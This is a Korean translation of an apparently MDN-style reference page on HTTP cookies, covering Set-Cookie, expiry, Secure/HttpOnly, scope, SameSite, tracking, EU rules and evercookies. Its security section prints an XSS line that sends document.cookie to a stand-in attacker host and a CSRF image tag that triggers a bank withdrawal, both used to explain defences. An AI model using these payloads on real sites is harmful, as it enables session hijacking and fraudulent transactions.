현재 번역은 완벽하지 않습니다. 한국어로 문서 번역에 동참해주세요.
HTTP 쿠키(웹 쿠키, 브라우저 쿠키)는 서버가 사용자의 웹 브라우저에 전송하는 작은 데이터 조각으로, 브라우저는 그 데이터 조각들을 저장하고 동일한 서버로 다음 요청 시 함께 전송할 것입니다. 일반적으로, 예를 들자면, 사용자가 로그인 상태를 유지하도록 하여 두 요청이 동일한 브라우저에서 왔는지를 판단하기 위해 사용됩니다. 쿠키는 상태가 없는 HTTP 프로토콜에서 상태 기반 정보를 기억합니다.
쿠키는 주로 다음의 세 가지 목적을 위해 사용됩니다:
- 세션 관리 (사용자 로그인, 쇼핑 카트)
- 개인화 (사용자 환경 설정)
- 트래킹 (사용자 행동 분석)
쿠키는 일반적인 클라이언트 측 스토리지로도 사용됩니다. 클라이언트 측에 데이터를 저장할 다른 방법이 없는 경우 쿠키는 적당한 방법으로 고려될 수 있었으나, 웹 브라우저가 여러 가지 스토리지 API를 사용할 수 있는 능력이 있는 오늘날에는 그렇지 않습니다. 쿠키는 모든 요청과 함께 전송되기 때문에, (특히 모바일 웹에서) 추가적인 성능 상의 부담이 될 수 있습니다. 로컬 스토리지를 위해 고려되는 새로운 API는 웹 스토리지 API (localStorage와 sessionStorage) 그리고 IndexedDB입니다.
저장된 쿠키(그리고 웹 페이지가 사용할 수 있는 다른 여러 가지 유형의 스토리지)를 보려면, 개발자 도구에서 스토리지 검사기를 활성화하고 스토리지 트리에서 쿠키 스토리지를 선택하면 됩니다.
쿠키 만들기
HTTP 요청을 수신할 때, 서버는 응답과 함께 Set-Cookie 헤더를 전송할 수 있습니다. 쿠키는 보통 브라우저에 의해 저장되며, 이후에 해당 쿠키 값은 동일한 서버에 대해 이루어지는 모든 요청과 함께 Cookie HTTP 헤더의 내용으로 전송됩니다. 추가적으로, 만료 지연은 특정 도메인과 경로에 대한 제한도 명시되어, 얼마나 오랫동안 그리고 어떤 사이트로 쿠키가 보내질 수 있는지를 제한합니다.
Set-Cookie 그리고 쿠키 헤더
Set-Cookie HTTP 응답 헤더는 서버로부터 사용자 에이전트로 전송되는데 사용됩니다. 간단한 쿠키는 다음과 같이 설정될 수 있습니다:
Set-Cookie: <cookie-name>=<cookie-value>
서버는 쿠키를 저장하라고 클라이언트에게 요구합니다(예를 들어, PHP, Node.js, Python, 혹은 Ruby on Rails와 같은 웹 애플리케이션들이 그런 역할을 하죠). 브라우저에 전송된 응답은 Set-Cookie 헤더를 포함하고 있을 것이며 브라우저는 쿠키를 저장할 것입니다.
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
세션 쿠키
위에서 생성했던 간단한 쿠키는 세션 쿠키입니다: 클라이언트가 종료되면 제거될 것이며, 세션이 지속되는 기간동안만 남아있게 됩니다. 쿠키는 어떤 Expires 혹은 Max-Age 디렉티브들도 명시하지 않습니다. 하지만, 알아둬야 할 것은, 브라우저가 결코 닫힌 적이 없는 것처럼 세션 쿠키를 실제로 영속적인 것으로 만들어 줄 세션 복원을 웹 브라우저가 대게 활성화시킨다는 점입니다.
영속적인 쿠키
클라이언트가 닫힐 때 만료되는 대신에, 영속적인 쿠키는 명시된 날짜(Expires)에 만료되거나 혹은 명시한 기간(Max-Age) 이후에 만료됩니다.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
보안과 HttpOnly 쿠키
보안 쿠키는 요청이 SSL과 HTTPS 프로토콜을 사용해 만들어진 경우에만 전송됩니다. 하지만, 전체 메커니즘이 본질적으로 안전하지 않고 이 플래그가 당신에게 추가적인 암호화 혹은 보안을 제공하지 않으므로 기밀 혹은 민감한 정보는 결코 저장되거나 HTTP 쿠키 내에서 전송되지 않을 것입니다.
Cross-site 스크립팅 (XSS) 공격을 방지하기 위해, HTTP-only 쿠키는 Document.cookie 프로퍼티, the XMLHttpRequest 그리고 Request API를 통해 자바스크립트로 접근할 수 없습니다. 자바스크립트 내에서 당신의 쿠키를 이용해야 할 필요가 없을 경우에 이 플래그를 설정하시기 바랍니다. 특히, 세션을 정의하기 위한 용도로만 쿠키를 사용한다면, 자바스크립트 내에서 쿠키를 사용할 필요가 없으며 HttpOnly 플래그를 설정해야 합니다.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
쿠키의 스코프
Domain 그리고 Path 디렉티브는 쿠키의 스코프를 정의하는데, 쿠키가 회신해야만 하는 URL의 세트입니다.
Domain은 쿠키가 전송되게 될 호스트들을 명시합니다. 만약 명시되지 않는다면, (서브 도메인은 포함되지 않는) 현재 문서 위치의 호스트 일부를 기본값으로 합니다. 도메인이 명시되면, 서브도메인들은 항상 포함됩니다.
만약 Domain=mozilla.org이 설정되면, 쿠키들은 developer.mozilla.org와 같은 서브도메인 상에 포함되게 됩니다.
Path는 Cookie 헤더를 전송하기 전에 전송되는 리소스 내에 반드시 존재해야 하는 URL 경로입니다. %x2F ("/") 문자는 디렉티브 구분자로 해석되며 서브 디렉토리들과 잘 매치될 것입니다.
만약 Path=/docs이 설정되면, 다음의 경로들은 모두 매치될 것입니다:
- "/docs",
- "/docs/Web/",
- "/docs/Web/HTTP"
SameSite 쿠키
SameSite 쿠키는 서버로 하여금 쿠키가 cross-site 요청과 함께 전송되지 않았음을 단정케 하여, cross-site 요청 위조 공격(CSRF)에 대해 어떤 보호 방법을 제공합니다. SameSite 쿠키는 여전히 실험 중이며 모든 브라우저에 의해 아직 제공되지 않고 있습니다.
Document.cookies를 사용한 자바스크립트 접근
새로운 쿠키들은 Document.cookie를 사용해 만들어질 수도 있으며, HttpOnly 플래그가 설정되지 않은 경우 기본의 쿠키들은 자바스크립트로부터 잘 접근될 수 있습니다.
document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry"
아래 보안 섹션에서 다루고 있는데로 보안 관련 내용들을 잘 알아두시기 바랍니다. 자바스크립트에서 이용 가능한 쿠키들은 XSS를 통해 감청될 수 있습니다.
보안
기밀 혹은 민감한 정보는 전체 메커니즘이 본질적으로 위험하기 때문에 HTTP 쿠키 내에 저장되거나 전송되어서는 안됩니다.
세션 하이재킹과 XSS
쿠키는 대게 웹 애플리케이션에서 사용자와 그들의 인증된 세션을 식별하기 위해 사용되곤 합니다. 그래서 웹 애플리케이션으로부터 쿠키를 가로채는 것은 인증된 사용자의 세션 하이재킹으로 이어질 수 있습니다. 쿠키를 가로채는 일반적인 방법은 소셜 공학 사용 혹은 애플리케이션 내 XSS 취약점을 이용하는 것을 포함합니다.
(new Image()).src = "https://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly 쿠키 속성은 자바스크립트를 통해 쿠키 값에 접근하는 것을 막아 이런 공격을 누그러뜨리는데 도움을 줄 수 있습니다.
Cross-site 요청 위조 (CSRF)
위키피디아에 CSRF에 대한 좋은 예제가 있습니다. 위키피디아의 예와 같은 상황에서, 당신의 은행 서버에 돈을 입금하는 실제 요청 대신에, 실제로는 이미지가 아닌 이미지를 포함시키고 있습니다(예를 들어 필터링되지 않은 채팅이나 포럼 페이지 내에):
<img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
이제, 당신이 당신의 은행 계좌에 로그인하고 당신의 쿠키가 여전히 유효하다면(그리고 별 다른 검증 절차가 존재하지 않는다면), 해당 이미지를 포함하고 있는 HTML을 로드하자마자 돈이 송금될 것입니다. 이런 일들이 벌어지는 것을 방지하기 위한 몇 가지 기술이 있습니다:
- XSS와 마찬가지로, 입력 필터링은 중요한 문제입니다.
- 모든 민감한 동작에 필수로 요구되는 확인 절차가 항상 수행되도록 합니다.
- 민감한 동작에 사용되는 쿠키는 짧은 수명만 갖도록 합니다.
- 좀 더 많은 예방 팁은 OWASP CSRF 예방 치트 시트를 참고하시기 바랍니다.
트래킹과 프라이버시
서드파티 쿠키
쿠키는 그와 관련된 도메인을 가집니다. 이 도메인이 당신이 현재 보고 있는 페이지의 도메인과 동일하다면, 그 쿠키는 퍼스트파티 쿠키라고 불립니다. 만약 도메인이 다르다면, 서드파티 쿠키라고 부릅니다. 퍼스트파티 쿠키가 그것을 설정한 서버에만 전송되는데 반해, 웹 페이지는 다른 도메인의 서버 상에 저장된 (광고 배너와 같은) 이미지 혹은 컴포넌트를 포함할 수도 있습니다. 이러한 서드파티 컴포넌트를 통해 전송되는 쿠키들을 서드파티 쿠키라고 부르며 웹을 통한 공과와 트래킹에 주료 사용됩니다. 구글이 사용하는 쿠키 타입을 예로 참고하시기 바랍니다. 대부분의 브라우저들은 기본적으로 서드파티 쿠키를 따르지만, 그것을 차단하는데 이용되는 애드온들이 있습니다(예를 들어, EFF이 만든 Privacy Badger이 있습니다).
당신이 만약 서드파티 쿠키를 공개하고 있지 않다면, 쿠키 사용이 밝혀질 경우 소비자 신뢰를 잃을 수도 있습니다. (프라이버시 정책과 같은) 명백한 공개는 쿠키 발견과 관련된 모든 부정적인 효과를 없애는 경향이 있습니다. 어떤 국가들은 쿠키에 관한 법률도 가지고 있습니다. 위키피디아의 쿠키 구문을 예로 참고하시기 바랍니다.
Do-Not-Track
쿠키 사용에 대한 합법적이거나 기술적인 요구사항은 없지만, DNT 헤더는 웹 애플리케이션이 트래킹 혹은 개인 사용자의 cross-site 사용자 트래킹 모두를 비활성화하는 신호로 사용될 수 있습니다. 좀 더 자세한 내용은 DNT 헤더를 참고하시기 바랍니다.
EU 쿠키 디렉티브
EU 전역의 쿠키에 대한 요구사항은 유럽 의회의 Directive 2009/136/EC에 정의되어 있으며 2011년 5월 25일에 발효되었습니다. 디렉티브는 그 자체로 법은 아니지만, 디렉티브의 요구사항을 만족시키는 법을 제정하려는 EU 회원국들을 위한 요구사항입니다. 실제 법들은 나라마다 다를 수 있습니다.
짧게 말하자면, EU 디렉티브는 컴퓨터, 모바일 폰 혹은 다른 기기들에서 누군가가 어떤 정보든지 저장하거나 검색하기 전에, 사용자는 그렇게 하기 위해 사전 동의해야만 한다는 내용입니다. 많은 웹 사이트들은 사용자가에게 쿠키 사용에 대한 내용을 알려준 뒤에 배너들을 추가할 수 있습니다.
좀 더 자세한 내용은 여기 위키피디아 섹션을 보시고 가장 최근의 가장 정확한 정보는 국가법을 참고하시기 바랍니다.
좀비 쿠키와 Evercookies
쿠키에 대한 좀 더 급진적인 해결책은 삭제 이후에 다시 생성되는 좀비 쿠키 혹은 "Evercookies"이며 의도적으로 영원히 제거하는 것이 어려운 쿠키입니다. 그들은 쿠키가 존재 여부와 관계없이 그들 자신을 다시 만들어내기 위해 웹 스토리지 API, Flash 로컬 공유 객체 그리고 다른 기술들을 사용하고 있습니다.